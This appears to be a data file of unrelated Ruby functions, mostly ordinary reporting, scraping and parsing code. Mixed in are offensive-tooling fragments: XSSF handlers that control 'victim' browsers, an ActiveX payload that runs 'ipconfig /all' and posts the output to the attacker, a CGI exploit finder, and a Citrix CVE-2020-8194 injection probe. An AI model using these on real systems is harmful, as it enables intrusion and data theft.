|cgi_ext|\r\n target_uris << \"#{cgi_dir}#{cgi_path}#{cgi_ext}\"\r\n end\r\n end\r\n end\r\n\r\n print_status(\"Searching #{target_uris.length} paths for an exploitable CGI endpoint...\")\r\n\r\n target_uris.each do |uri|\r\n if is_cgi_exploitable?(uri)\r\n print_good(\"Exploitable CGI located at #{uri}\")\r\n return uri\r\n end\r\n end\r\n\r\n print_error(\"No valid CGI endpoints identified\")\r\n return\r\n end",
"def report_for(nodes, locale_code)\n # This method simply provides a report for a given list of nodes in the desired locale.\n # The locale will be one of the supported ones.\n # Generate the report in a file to be uploaded on web10.\n File.write(\n '/tmp/web_report.txt',\n @platforms_handler.known_platforms.map do |platform|\n \"= Inventory for platform #{platform.repository_path} of type #{platform.platform_type}:\\n\" +\n platform.known_nodes.map do |node|\n \"* Node #{node} (IP: #{@nodes_handler.get_host_ip_of(node)}, Hostname: #{@nodes_handler.get_hostname_of(node)}).\"\n end.join(\"\\n\")\n end.join(\"\\n\")\n )\n # Upload the file on our web10 instance\n system 'scp -o StrictHostKeyChecking=no /tmp/web_report.txt [email protected]_tutorial.org:/root/hello_world.txt'\n out 'Upload successful'\n end",
"def initialize\n\t\t\t\t\t@vals = Hash.new\n\n\t\t\t\t\t@valid_references = Array[\n\t\t\t\t\t\t\"cpe\", \"bid\", \"see_also\", \"xref\", \"cve\", \"iava\", \"msft\",\n\t\t\t\t\t\t\"osvdb\", \"cert\", \"edb-id\", \"rhsa\", \"secunia\", \"suse\", \"dsa\",\n\t\t\t\t\t\t\"owasp\", \"cwe\", \"iavb\", \"iavt\", \"cisco-sa\", \"ics-alert\",\n\t\t\t\t\t\t\"cisco-bug-id\", \"cisco-sr\", \"cert-vu\", \"vmsa\", \"apple-sa\",\n\t\t\t\t\t\t\"icsa\", \"cert-cc\", \"msvr\", \"usn\", \"hp\", \"glsa\", \"freebsd\"\n\t\t\t\t\t]\n\n\t\t\t\t\t@valid_host_properties = Array[\n\t\t\t\t\t\t\"HOST_END\", \"mac-address\", \"HOST_START\", \"operating-system\", \"host-ip\", \"host-fqdn\", \"netbios-name\",\n\t\t\t\t\t\t\"local-checks-proto\", \"smb-login-used\", \"ssh-auth-meth\", \"ssh-login-used\", \"pci-dss-compliance\",\n\t\t\t\t\t\t\"pci-dss-compliance:\", \"system-type\", \"bios-uuid\", \"pcidss:compliance:failed\", \"pcidss:compliance:passed\",\n\t\t\t\t\t\t\"pcidss:deprecated_ssl\", \"pcidss:expired_ssl_certificate\", \"pcidss:high_risk_flaw\", \"pcidss:medium_risk_flaw\",\n\t\t\t\t\t\t\"pcidss:reachable_db\", \"pcidss:www:xss\", \"pcidss:directory_browsing\", \"pcidss:known_credentials\",\n\t\t\t\t\t\t\"pcidss:compromised_host:worm\", \"pcidss:obsolete_operating_system\", \"pcidss:dns_zone_transfer\",\n\t\t\t\t\t\t\"pcidss:unprotected_mssql_db\", \"pcidss:obsolete_software\", \"pcidss:www:sql_injection\", \"pcidss:backup_files\",\n\t\t\t\t\t\t\"traceroute-hop-0\", \"traceroute-hop-1\", \"traceroute-hop-2\", \"operating-system-unsupported\", \"patch-summary-total-cves\",\n\t\t\t\t\t\t\"pcidss:insecure_http_methods\", \"LastUnauthenticatedResults\", \"LastAuthenticatedResults\", \"cpe-0\", \"cpe-1\", \n\t\t\t\t\t\t\"cpe-2\", \"cpe-3\", \"Credentialed_Scan\", \"policy-used\", \"UnsupportedProduct:microsoft:windows_xp::sp2\",\n\t\t\t\t\t\t\"UnsupportedProduct:microsoft:windows_xp\", \"UnsupportedProduct:microsoft:windows_2000\", \"UnsupportedProduct\"\n\t\t\t\t\t]\n\n\t\t\t\t\t@valid_host_properties_regex = Array[\n\t\t\t\t\t\t\"patch-summary-cve-num\", \"patch-summary-cves\", \"patch-summary-txt\", \"cpe-\\d+\", \"KB\\d+\"\n\t\t\t\t\t]\n\n\t\t\t\t\t@valid_elements = Array[\"ReportItem\", \"plugin_version\", \"risk_factor\",\n\t\t\t\t\t\t\"description\", \"cvss_base_score\", \"solution\", \"item\", \"plugin_output\", \"tag\", \"synopsis\", \"plugin_modification_date\",\n\t\t\t\t\t\t\"FamilyName\", \"FamilyItem\", \"Status\", \"vuln_publication_date\", \"ReportHost\", \"HostProperties\", \"preferenceName\",\n\t\t\t\t\t\t\"preferenceValues\", \"preferenceType\", \"fullName\", \"pluginId\", \"pluginName\", \"selectedValue\", \"selectedValue\",\n\t\t\t\t\t\t\"name\", \"value\", \"preference\", \"plugin_publication_date\", \"cvss_vector\", \"patch_publication_date\",\n\t\t\t\t\t\t\"NessusClientData_v2\", \"Policy\", \"PluginName\", \"ServerPreferences\", \"policyComments\", \"policyName\", \"PluginItem\",\n\t\t\t\t\t\t\"Report\", \"Family\", \"Preferences\", \"PluginsPreferences\", \"FamilySelection\", \"IndividualPluginSelection\", \"PluginId\",\n\t\t\t\t\t\t\"pci-dss-compliance\", \"exploitability_ease\", \"cvss_temporal_vector\", \"exploit_framework_core\", \"cvss_temporal_score\",\n\t\t\t\t\t\t\"exploit_available\", \"metasploit_name\", \"exploit_framework_canvas\", \"canvas_package\", \"exploit_framework_metasploit\",\n\t\t\t\t\t\t\"plugin_type\", \"exploithub_sku\", \"exploit_framework_exploithub\", \"stig_severity\", \"plugin_name\", \"fname\", \"always_run\",\n\t\t\t\t\t\t\"cm:compliance-info\", \"cm:compliance-actual-value\", \"cm:compliance-check-id\", \"cm:compliance-policy-value\",\n\t\t\t\t\t\t\"cm:compliance-audit-file\", \"cm:compliance-check-name\", \"cm:compliance-result\", \"cm:compliance-output\", \"policyOwner\",\n\t\t\t\t\t\t\"visibility\", \"script_version\", \"attachment\", \"policy_comments\", \"d2_elliot_name\", \"exploit_framework_d2_elliot\",\n\t\t\t\t\t\t\"exploited_by_malware\", \"compliance\"\n\t\t\t\t\t]\n\n\t\t\t\t\t@valid_elements = @valid_elements + @valid_references\n\n\t\t\t\t\t# These are the more commonly used host properties, mapping them here to store in the host table\n\t\t\t\t\t@host_properties_mapping = {\n\t\t\t\t\t\t\"HOST_END\" => :end,\n\t\t\t\t\t\t\"mac-address\" => :mac,\n\t\t\t\t\t\t\"HOST_START\" => :start,\n\t\t\t\t\t\t\"operating-system\" => :os,\n\t\t\t\t\t\t\"host-ip\" => :ip,\n\t\t\t\t\t\t\"host-fqdn\" => :fqdn,\n\t\t\t\t\t\t\"netbios-name\" => :netbios\n\t\t\t\t\t}\n\t\t\t\tend",
"def report(uri, lang, ccmap, base_url, dnm4output)\n doc = Nokogiri::HTML(open(uri))\n courses = get_department_courses(doc)\n\n mufredat = {secmeli: {}, zorunlu: {}}\n course_status = {}\n mcode_status = {}\n\n courses.each do |ccode, ncourse|\n ncourse.each do |course|\n code = course[:code]\n cmap_code = code.to_s.is_i? ? code.to_s.to_i : code.to_s\n cmap = ccmap[cmap_code]\n mcode = cmap[:mufredat]\n\n p \"Code: '#{mcode}' isleniyor...\"\n uri = base_url + course[:uri]\n doc = Nokogiri::HTML(open(uri))\n\n info = get_course_info(doc)\n detail = get_course_detail(doc)\n\n # \"YD101 Yabanci Dil\" benzeri generic dersleri pas gec\n next if detail.empty?\n\n status = {final: (detail['objective'].empty? and detail['content'].empty? and detail['detailed_content'].empty?)}\n $course_keys.each do |k|\n status[k.to_sym] = !detail[k].empty?\n end\n\n if status[:final]\n course_status[code] ||= status\n next\n else\n course_status[code] = status\n end\n\n # Icerigi eksik dersleri \"ders icerikleri\" ciktisina koyma\n next if status[:final]\n\n # mufredat cikti dosyasina eklendi ise pas gec\n next if mcode_status.key? mcode\n mcode_status[mcode] = true\n\n t, p, l = course[:theoratical], course[:practice], course[:laboratory]\n name = info['name'].empty? ? cmap[:ad] : info['name']\n str = \"<h4 id='#{mcode}'>#{mcode} #{cmap[:ad]} #{t}-#{p}-#{l} AKTS: #{info['ects']}</h4>\\n\"\n\n if status[:content]\n str += \"<p>#{detail['content']}</p>\"\n else\n # str += \"<p>#{detail['objective']}</p>\"\n str += \"<p><font color='red'>EKSİK</font></p>\"\n end\n\n str += \"<div style='display: none;' class='stuff'>#{cmap[:hoca]}</div>\" if ccmap.key? cmap_code\n str += \"<div class='detail'>Dersle ilgili daha fazla ayrıntıya ulaşmak istiyorsanız <a href='#{uri}'>tıklayınız.</a></div>\"\n\n # unless detail['reading'].empty?\n # str += \"<h4>Kaynaklar</h4>\\n\"\n # str += \"<p>#{detail['reading']}</p>\"\n # end\n\n t = cmap[:yy]\n y = (t - 1)/2 + 1\n\n sz = (cmap[:sz].strip.downcase == \"z\") ? :zorunlu : :secmeli\n\n if mufredat[sz][y].nil?\n mufredat[sz][y] = {}\n end\n\n if mufredat[sz][y][t].nil?\n mufredat[sz][y][t] = \"#{str}<hr>\"\n else\n mufredat[sz][y][t] += \"#{str}<hr>\"\n end\n end\n end\n\n fnm = \"#{dnm4output}courses_problematic_#{lang}.csv\"\n CSV.open(fnm, 'w') do |csv|\n r = ['Code', 'Name']\n\n $course_keys.each do |k|\n r << k.to_s\n end\n\n csv << r\n\n course_status.each do |code, status|\n if status[:final]\n r = [code, courses[code][0][:name]]\n\n $course_keys.each do |k|\n r << status2sign(status[k.to_sym])\n end\n\n csv << r\n end\n end\n end\n p \"Problemli dersler '#{fnm}' icerisine saklandi.\"\n\n fnm = \"#{dnm4output}courses_status_#{lang}.csv\"\n CSV.open(fnm, 'w') do |csv|\n r = ['Code', 'Name', 'Final']\n\n $course_keys.each do |k|\n r << k.to_s\n end\n\n csv << r\n\n course_status.each do |code, status|\n r = [code, courses[code][0][:name], status2sign(status[:final])]\n\n $course_keys.each do |k|\n r << status2sign(status[k.to_sym])\n end\n\n csv << r\n end\n end\n p \"Bölümün tüm derslerinin durumu '#{fnm}' icerisine saklandi.\"\n\n # str = \"<h1>OMÜ Bilgisayar Mühendisliği Bölümü</h1>\"\n [:secmeli, :zorunlu].each do |sz|\n (1..8).each do |yy|\n y = (yy - 1)/2 + 1\n\n next if mufredat[sz][y].nil? or mufredat[sz][y][yy].nil?\n\n fnm = \"#{dnm4output}ders_icerikleri_#{lang}_#{sz.to_s}_#{yy}.html\"\n fp = File.new(fnm, 'w')\n\n str = \"<h3 id='yy#{yy}'>#{yy.to_roman}. YARIYIL (#{yy%2==1 ? 'GÜZ' : 'BAHAR'} DÖNEMİ)</h3>\"\n str += mufredat[sz][y][yy]\n\n fp.write(str)\n fp.close\n p \"Ders icerikleri '#{fnm}' icerisine saklandi.\"\n end\n end\n\n fnm = \"#{dnm4output}ders_icerikleri_#{lang}.html\"\n fp = File.new(fnm, 'w')\n\n str = \"<h1>OMÜ Bilgisayar Mühendisliği Bölümü</h1>\"\n [:zorunlu, :secmeli].each do |sz|\n str += \"<h2 id='secmeli'>SEÇMELİ DERSLER</h2>\" if sz == :secmeli\n\n (1..8).each do |yy|\n y = (yy - 1)/2 + 1\n\n next if mufredat[sz][y].nil? or mufredat[sz][y][yy].nil?\n\n str += \"<h3 id='yy#{yy}'>#{yy.to_roman}. YARIYIL (#{yy%2==1 ? 'GÜZ' : 'BAHAR'} DÖNEMİ)</h3>\"\n str += mufredat[sz][y][yy]\n end\n end\n\n fp.write(str)\n fp.close\n p \"Ders icerikleri '#{fnm}' icerisine saklandi.\"\nend",
"def process(dfstr)\n tracelog {\"process(commands, input).\"}\n #\"\"\"Filesystem Size Used Avail Use%\n # /dev/grid/node-x0-y0 92T 73T 19T 79%\"\"\"\n linect = 0\n nodes = {}\n dfstr.each_line do |line|\n linect += 1\n line = line.chomp.chomp\n tracelog { \"read-line #{linect}: #{line}\" }\n if md = (/^\\/dev\\/grid\\/node\\-x(\\d+)\\-y(\\d+) +(\\d+)T +(\\d+)T +(\\d+)T +(\\d+)%$/.match line) #md = (/^\\/dev\\/grid\\/node\\-x(\\d+)\\-y(\\d+) +(\\d+) +(\\d+) +(\\d+) +(\\d+)%$/.match line)\n x = md[1].to_i\n y = md[2].to_i\n siz = md[3].to_i\n usd = md[4].to_i\n ava = md[5].to_i\n prc = md[6].to_i\n key = \"#{x},#{y}\"\n nodes[key] = {:size=>siz, :used=>usd, :avail=>ava, :useperc=>prc}\n tracelog {\"node[#{key}]=#{nodes[key]}\"}\n else\n deblog {\" skipped line ##{linect} #{line}.\"}\n end\n end\n deblog {\"#nodes=#{nodes.size} of #lines=#{linect}\"}\n \n viabpairnum = 0\n nodes.each do |a_key, a_vals|\n nodes.each do |b_key, b_vals|\n #next if a_key == b_key\n if a_vals[:used] > 0 && a_key != b_key && a_vals[:used] <= b_vals[:avail]\n tracelog {\"viable pair: A=#{a_key}, used=#{a_vals[:used]}; B=#{b_key}, avail=#{b_vals[:avail]}\"}\n viabpairnum += 1\n end\n end\n end\n viabpairnum\nend",
"def process_unknown(req, res, id)\n\t\t\t\tif (url = current_attack(id))\t\n\t\t\t\t\t(data = run_http_client(url, req, true)) ? XSSF_RESP(res, add_xssf_post(data.body, id, req.host), data.code, data.message, data.headers) : XSSF_404(res)\n\t\t\t\telse\n\t\t\t\t\tXSSF_404(res)\n\t\t\t\tend\n\t\t\tend",
"def do_post host, jsonArray_data\n (jsonArray_data).each do |data|\n\n @no_hits +=1\n\n index = data['_index']\n type = data['_type']\n id = data['_id']\n source= data['_source'].to_json\n\n esUri = URI.parse 'http://'+host+'/'+index+'/'+type+'/'+id\n http = Net::HTTP.new(esUri.host, esUri.port)\n response = http.post(esUri.path, source)\n\n if (response.code.to_i > 400)\n puts \"Error posting to: \" + esUri.to_s + \", source_object: \" + data.to_json\n end\n\n case\n when @total_hits_to_import.to_i/4 == @no_hits\n puts \"Imported 25%\"\n when @total_hits_to_import.to_i/2 == @no_hits\n puts \"Imported 50%\"\n when (@total_hits_to_import.to_i*3)/4 == @no_hits\n puts \"Imported 75%\"\n end\n end\nend",
"def vuln_assets(vulnId, queryTime, lastQueryTime, nsc, debug)\n \n # Create a base query containing information about assets associated with the provided Vulnerability ID.\n @sqlSelect = \"\nWITH\n\nasset_names AS (\n SELECT asset_id, array_to_string(array_agg(host_name), ',') AS names\n FROM dim_asset_host_name\n GROUP BY asset_id\n )\n\nSELECT DISTINCT ON (asset_id,port)\n\nasset_id,\nip_address,\nport,\ndp.name,\nmac_address,\nhost_name,\nan.names,\nfavi.date,\ndvs.description,\nproofAsText(favi.proof) as proof,\nnexpose_id\n\nFROM fact_asset_vulnerability_instance favi\nJOIN dim_asset da USING (asset_id)\nJOIN dim_service dsvc USING (service_id)\nJOIN dim_protocol dp USING (protocol_id)\nJOIN dim_vulnerability_status dvs USING (status_id)\nJOIN dim_vulnerability USING (vulnerability_id)\nLEFT OUTER JOIN asset_names an USING (asset_id)\nLEFT OUTER JOIN dim_scan dsc USING (scan_id)\n\"\n # Provide the Vulnerability ID and time window for the query\n @sqlWhere = \"WHERE (favi.vulnerability_id = '#{vulnId}') AND (favi.date BETWEEN ('#{lastQueryTime}'::timestamp) and ('#{queryTime}'::timestamp))\"\n @sqlOrderBy = \" ORDER BY asset_id, port;\"\n @query = @sqlSelect + @sqlWhere + @sqlOrderBy\n\n @pullVulns = Nexpose::AdhocReportConfig.new(nil, 'sql')\n @pullVulns.add_filter('version', '2.0.2')\n @pullVulns.add_filter('query', @query)\n \n # Generate report to be parsed\n @pulledVulns = @pullVulns.generate(nsc,18000)\n \n # http://stackoverflow.com/questions/14199784/convert-csv-file-into-array-of-hashes\n # http://technicalpickles.com/posts/parsing-csv-with-ruby/\n # Convert the CSV report information provided by the API back into a hashed format. *Should submit an Idea to Rapid7 for JSON report output type from reports?\n @returnedVulns = CSV.parse(@pulledVulns, { :headers => true, :header_converters => :symbol, :converters => [:all, :blank_to_nil] }).map(&:to_hash) if @pulledVulns\n \n return @returnedVulns\n \nend",
"def process_post(req, res, id)\n\t\t\t\tresponse = \"\";\ttunnel_headers = \"\";\tmod_name = \"Unknown\";\ttunnelid = nil;\n\n\t\t\t\tif req.query[\"#{PARAM_ID}\"]\n\t\t\t\t\tresponse \t= req.query[\"#{PARAM_RESPONSE}\"] \tif req.query[\"#{PARAM_RESPONSE}\"] \n\t\t\t\t\ttunnel_headers\t= req.query[\"#{PARAM_HEADERS}\"] \tif req.query[\"#{PARAM_HEADERS}\"]\n\t\t\t\t\tmod_name\t= req.query[\"#{PARAM_NAME}\"] \t\tif req.query[\"#{PARAM_NAME}\"]\n\t\t\t\t\ttunnelid\t= req.query[\"#{PARAM_RESPID}\"] \tif req.query[\"#{PARAM_RESPID}\"]\n\t\t\t\telse\t\t# Sometimes Cross-Requests aren't well understood by the Webrick server parser cause Content-Type isn't properly set by browser\n\t\t\t\t\t(req.body.split('&')).each do |p|\n\t\t\t\t\t\tresponse \t\t= $1 \t\tif (p =~ /^#{PARAM_RESPONSE}=(.*)$/)\n\t\t\t\t\t\ttunnel_headers\t\t= $1 \t\tif (p =~ /^#{PARAM_HEADERS}=(.+)$/)\n\t\t\t\t\t\tmod_name\t\t= $1 \t\tif (p =~ /^#{PARAM_NAME}=(.+)$/)\n\t\t\t\t\t\tid\t\t\t= Integer($1) \tif (p =~ /^#{PARAM_ID}=(.+)$/)\n\t\t\t\t\t\ttunnelid\t\t= $1 \t\tif (p =~ /^#{PARAM_RESPID}=(.+)$/)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tcase req.path\n\t\t\t\t\twhen /^#{self.serverURI + VICTIM_ANSWER}/\n\t\t\t\t\t\t(is_tunneled = (is_tunneled[XSSF_VICTIM_HASH[\"ID\"]] == id)) if (is_tunneled = victim_tunneled)\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (is_tunneled)\t\t\t\t\t# POST IN TUNNEL MODE\n\t\t\t\t\t\t\ttunnelid = URI.unescape(tunnelid)\n\t\t\t\t\t\t\tif(TUNNEL[tunnelid])\n\t\t\t\t\t\t\t\tTUNNEL_LOCKED.synchronize {\n\t\t\t\t\t\t\t\t\tTUNNEL[tunnelid][2] = Base64.encode64((URI.unescape(tunnel_headers)).strip)\n\t\t\t\t\t\t\t\t\tTUNNEL[tunnelid][1] = Base64.encode64(response)\n\t\t\t\n\t\t\t\t\t\t\t\t\tTUNNEL.delete(tunnelid) if ((TUNNEL[tunnelid][1].to_s).size > 10000000) \t# Deleting if more than 10Mo of data\t\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tprint_good(\"ADDING RESPONSE IN TUNNEL (#{tunnelid.to_s})\") if not (XSSF_MODE[0] =~ /^Quiet$/i)\n\t\t\t\t\t\t\t\tXSSF_RESP(res)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tXSSF_404(res)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\t\t\t\t\t\t\t\t# POST FROM A MODULE\n\t\t\t\t\t\t\tfile_id = Rex::Text.rand_text_alphanumeric(rand(20) + 10)\n\t\t\t\t\t\t\tFile.open(INCLUDED_FILES + XSSF_LOG_FILES + file_id.to_s + \".html\", 'wb') {|f| f.write((response =~ /__________(.*)__________/) ? URI.unescape(Base64.decode64($1)) : URI.unescape(response)) }\n\t\t\t\t\t\t\tcreate_log(id, file_id.to_s + \".html\", URI.unescape(mod_name).strip)\n\t\t\t\t\t\t\tprint_good(\"Response received from victim '#{id.to_s}' from module '#{URI.unescape(mod_name).strip}'\") if not (XSSF_MODE[0] =~ /^Quiet$/i)\n\t\t\t\t\t\t\tputs \"#{(response =~ /__________(.*)__________/) ? URI.unescape(Base64.decode64($1)) : URI.unescape(response)}\" if (XSSF_MODE[0] =~ /^Verbose$/i)\n\t\t\t\t\t\t\tXSSF_RESP(res)\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^#{self.serverURI + VICTIM_SAFARI}/\n\t\t\t\t\t\tXSSF_RESP(res, \"\", 200, \"OK\", {\t\n\t\t\t\t\t\t\t'Content-Type' \t=> 'text/html', \n\t\t\t\t\t\t\t'P3P' \t\t=> 'CP=\"HONK IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA\"',\n\t\t\t\t\t\t\t'Set-Cookie' \t=> \"id=#{id}; Path=/;\"})\n\t\t\t\t\t\n\t\t\t\t\telse # Other page is asked by a victim: redirect to known file or active module (This part needs cookie to be activated) \n\t\t\t\t\t\tprocess_unknown(req, res, id)\n\t\t\t\tend\n\t\t\tend",
"def craw_result_page_urls\n start_time = Time.now\n agent = touch_and_customize_cookies\n \n detail_urls = []\n page_indexes = (0..245)\n\n Parallel.each(page_indexes, :in_threads => 2, :in_processes => 2) do |page_index|\n # (0..245).each do |page_index|\n url = \"http://www.smc.gov.sg/PRSCPDS/scripts/profSearch/searchList.jsp?page=#{page_index}&spectext=\" \n search_results = agent.post(url)\n search_results.search(\".displayTabledata a\").each do |link|\n COLL.insert(:url => link.attribute(\"href\").value)\n end\n end\n p Time.now - start_time\nend",
"def craw_result_page_urls\n start_time = Time.now\n agent = touch_and_customize_cookies\n \n detail_urls = []\n page_indexes = (0..245)\n\n Parallel.each(page_indexes, :in_threads => 2, :in_processes => 2) do |page_index|\n # (0..245).each do |page_index|\n url = \"http://www.smc.gov.sg/PRSCPDS/scripts/profSearch/searchList.jsp?page=#{page_index}&spectext=\" \n search_results = agent.post(url)\n search_results.search(\".displayTabledata a\").each do |link|\n COLL.insert(:url => link.attribute(\"href\").value)\n end\n end\n p Time.now - start_time\nend",
"def steps\n %w[/14/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /ASSESSMENT/educations\n /12/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /13/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /ASSESSMENT/client_scores\n /41/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /42/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /15/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /ASSESSMENT/work/characteristics/index\n /29/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /ASSESSMENT/client_immunization/show\n /ASSESSMENT/disability/characteristics/index\n /ASSESSMENT/mental/characteristics/index\n /35/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /ASSESSMENT/substance_abuse/characteristics/index\n /32/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /ASSESSMENT/domestic/characteristics/index\n /38/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /39/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /ASSESSMENT/clients/medical_pregnancy/show\n /19/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /21/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /22/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /23/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /24/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /25/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /26/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /2/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /ASSESSMENT/employments\n /ASSESSMENT/legal/characteristics/index\n /7/assessment_edit/session[:CLIENT_ASSESSMENT_ID]/edit_common_assessment\n /assessment_careers/interest_profiler_questions/interest_profiler_question_wizard_initialize\n ]\n\n end",
"def get_area_details\n response = RestClient.get \"http://www.broadbandmap.gov/broadbandmap/census/block?latitude=#{self.location_lat}&longitude=#{self.location_lng}&format=json\"\n if response.code == 200\n response = JSON.parse(response)\n self.fips_block_type = response['Results']['block'][0]['geographyType']\n self.fips_state = response['Results']['block'][0]['FIPS'][0..1]\n self.fips_county = response['Results']['block'][0]['FIPS'][2..4]\n self.fips_tract = response['Results']['block'][0]['FIPS'][5..10]\n true\n end\n false\n end",
"def get_html_attack(logid)\n\t\t\t\thtml = \"<html><body bgcolor=black style='font-family:monospace'>\"\n\t\t\t\t\n\t\t\t\tif (logid && (logid != 0))\n\t\t\t\t\tbegin\n\t\t\t\t\t\tif (log = find(XSSF_LOG_DB, XSSF_LOG_HASH, {\"ID\" => logid}))\n\t\t\t\t\t\t\thtml << %Q{\n\t\t\t\t\t\t\t\t<center>\n\t\t\t\t\t\t\t\t\t<h3 style=\"color:cyan\"> Attack log #{logid} </h3>\n\t\t\t\t\t\t\t\t\t<form method=\"GET\" action=\"#{VICTIM_GUI}\" >\n\t\t\t\t\t\t\t\t\t\t<label for=\"ext\" style=\"color:cyan\">Export as...</label>\n\t\t\t\t\t\t\t\t\t\t<input type=text id=\"ext\" name=#{PARAM_GUI_EXTENTION} value=\"Extension\" onclick=\"this.value = '';\" >\n\t\t\t\t\t\t\t\t\t\t<input type=submit value=\"Download!\" >\n\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"#{PARAM_GUI_PAGE}\" value=\"attack\">\n\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"#{PARAM_GUI_LOGID}\" value=\"#{logid}\">\n\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"#{PARAM_GUI_ACTION}\" value=\"export\">\n\t\t\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t\t\t</center>\n\t\t\t\t\t\t\t\t<br /><h3 style=\"color:cyan\"> Received result: </h3><div style=\"color:white\">#{(File.open(INCLUDED_FILES + XSSF_LOG_FILES + log[XSSF_LOG_HASH[\"RESULT\"]], \"rb\") {|io| io.read }).gsub(/[<>]/, '<' => '<', '>' => '>')}</div>\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\tend\n\t\t\t\t\trescue\n\t\t\t\t\t\tprint_error(\"Error 22: #{$!}\") if (XSSF_MODE[0] =~ /^Debug$/i)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn html + \"</body></html>\"\n\t\t\tend",
"def on_request_uri(cli, req)\n\t\tcode = %Q{ XSSF_POST(((new ActiveXObject(\"WScript.Shell\")).Exec(\"ipconfig /all\")).StdOut.ReadAll(), '#{self.name}'); }\n\t\t\n\t\tsend_response(cli, code, {'Content-Type' => 'text/html'} )\n\tend",
"def run\n super\n\n require_enrichment\n\n url = _get_entity_name\n\n # make request and save response\n response = http_request :get, \"#{url}/menu/guiw?nsbrand=1&protocol=nonexistent.1337\\\">&id=3&nsvpx=phpinfo\"\n unless response && response.code.to_i == 200\n _log \"No response! Failing\"\n return\n end\n\n # grab response headers and body\n response_headers = response.headers\n response_body = response.body_utf8\n\n # check if header and body contain needed values\n if response_headers.has_value?(\"application/x-java-jnlp-file\")\n # header is present, check for response body\n if response_body =~ /\\<jnlp codebase\\=\\\"nonexistent\\.1337\\\"/\n _log \"Vulnerable!\"\n _create_linked_issue \"citrix_netscaler_codeinjection_cve_2020_8194\" , { \"proof\" => response }\n end\n else\n _log \"Not vulnerable!\"\n end\n\n end",
"def brute_exploit(addrs)\n end",
"def http_fingerprint(res)\n\t\treturn if not res\n\t\treturn if not res.body\n\t\textras = []\n\n\t\tif (res.headers['X-Powered-By'])\n\t\t\textras << \"Powered by \" + res.headers['X-Powered-By']\n\t\tend\n\t\n\t\tcase res.body\n\n\t\t\twhen /Test Page for.*Fedora/\n\t\t\t\textras << \"Fedora Default Page\"\n\n\t\t\twhen /Placeholder page/\n\t\t\t\textras << \"Debian Default Page\"\n\t\t\t\t\n\t\t\twhen /Welcome to Windows Small Business Server (\\d+)/\n\t\t\t\textras << \"Windows SBS #{$1}\"\n\n\t\t\twhen /Asterisk@Home/\n\t\t\t\textras << \"Asterix\"\n\t\t\t\t\n\t\t\twhen /swfs\\/Shell\\.html/\n\t\t\t\textras << \"BPS-1000\"\n\t\t\t\n\t\tend\n\t\t\n\t\tif (extras.length == 0)\n\t\t\treturn ''\n\t\tend\n\t\t\n\t\t\n\t\t# Format and return\n\t\t' ( ' + extras.join(', ') + ' )'\n\tend",
"def get_psi\n psi = {}\n html = open(URL).read\n AREAS.each do |area|\n if m = html.match(%r{<strong>#{area}</strong>.*?<strong[^>]+>(\\d+)}m)\n psi[area] = m[1]\n end\n end\n psi\n end",
"def all_site_report(ticket_repository, options)\n group = \"#{options[:scan_mode]}s\"\n\n log_message(\"Generating full vulnerability report on user entered #{group}.\")\n items_to_query = Array(options[group.to_sym])\n log_message(\"Generating full vulnerability report on the following #{group}: #{items_to_query.join(', ')}\")\n \n items_to_query.each do |item|\n log_message(\"Running full vulnerability report on item #{item}\")\n initial_scan_file = ticket_repository.generate_initial_scan_data(options,\n item)\n\n log_message('Preparing tickets.')\n nexpose_id = format_id(item)\n ticket_rate_limiter(initial_scan_file, 'create', nexpose_id)\n post_scan(item_id: item, generate_asset_list: true)\n end\n\n log_message('Finished processing all vulnerabilities.')\n end",
"def update\n# read the first 2 lines - it should be enough\n# lsvob starts with \"Tag: \\BARABOOM\"\n# both lsreplica and lsepoch start with \"For VOB replica \"\\BARABOOM\":\"\n# the second line in lsreplica is \"replica \"name\"\"\n# the second line in lsepoch is \"Oplog IDs for row...\" or \"Actual oplog IDs for...\"\n# sometimes lsepcoh has multiple lines in the beginning with \"For VOB replica...\"\n parsed_line = Hash[ :vob => \"Tag: \",\n :lsepoch => \"For VOB replica \",\n :replica => \"replica \",\n :epoch => \"Oplog IDs for row \",\n :epoch_actual => \"Actual oplog IDs for \"]\n\n if params[:lslog].size > 0\n _line1 = params[:lslog].gets\n _line2 = params[:lslog].gets\n params[:lslog].rewind\n if !(_line1.nil? || _line2.nil?)\n if _line1.match(parsed_line[:vob].to_s)\n Site.lsvob_scan(params)\n elsif 